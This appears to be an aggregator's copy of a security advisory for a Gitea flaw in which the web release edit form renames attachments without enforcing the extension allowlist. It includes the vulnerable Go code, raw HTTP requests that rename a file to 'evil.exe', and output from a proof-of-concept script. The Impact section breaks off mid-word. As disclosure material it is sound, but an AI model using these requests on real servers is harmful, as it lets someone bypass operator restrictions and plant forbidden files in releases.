🛡️ CVE-2026-58428 — gitea.dev
Description
Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
Summary
The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.
A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.
Details
Vulnerable code
routers/web/repo/release.go:597 EditReleasePost:
```go
const editPrefix = "attachment-edit-"
editAttachments := make(map[string]string)
if setting.Attachment.Enabled {
for k, v := range ctx.Req.Form {
if strings.HasPrefix(k, editPrefix) {
editAttachments[k[len(editPrefix):]] = v[0]
}
}
}
...
if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,
rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {
ctx.ServerError("UpdateRelease", err)
return
}
```
services/release/release.go:321 -- the unvalidated write:
```go
for uuid, newName := range editAttachments {
if !deletedUUIDs.Contains(uuid) {
if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
UUID: uuid,
Name: newName,
}, "name"); err != nil {
return err
}
}
}
```
No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.
Comparison: the parent fix on the API path
routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):
```go
if err := attachment_service.UpdateAttachment(ctx,
setting.Repository.Release.AllowedTypes, attach); err != nil {
if upload.IsErrFileTypeForbidden(err) {
ctx.Error(http.StatusUnprocessableEntity, "", err)
return
}
ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach)
return
}
```
Delegates to:
```go
// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
return err
}
return repo_model.UpdateAttachment(ctx, attach)
}
```
The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.
Proof of Concept
Tested live against:
- Gitea
v1.26.1community edition, Linux amd64, SQLite, Go 1.26.2 app.iniincludes[repository.release] ALLOWED_TYPES = .zip,.tar.gz- Two users:
admin(superuser, created viagitea admin user create --admin),bob(regular, repo owner ofbob/test-repo)
Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.
Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.
```http
PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token <bob_token>
Content-Type: application/json
{"name":"evil.exe"}
```
Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).
Step 3: The attack. The web release edit form does NOT enforce the allowlist.
```http
POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=<session>; lang=en-US
Content-Type: application/x-www-form-urlencoded
tag_name=v0.1
&tag_target=main
&title=rename+payload
&content=
&attachment-edit-<existing_attachment_uuid>=evil.exe
```
Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.
Step 4: Verify.
```http
GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
```
Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.
A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:
[GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py)
```
[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'
[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.
```
Impact
Same impact class as the pare
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.
Affected software
CVE-2026-58428 is recorded against 2 packages.
- code.gitea.io/gitea
- gitea.dev
Timeline and source
Published on 21 July 2026 and last revised on 22 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| code.gitea.io/gitea | — | — |
| gitea.dev | — | — |
References
Similar Threats
- High CVE-2021-3382
- High CVE-2020-14144
- Medium CVE-2022-38183
- Medium CVE-2022-1928
- Unknown CVE-2019-1010261
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-58428?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-58428 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.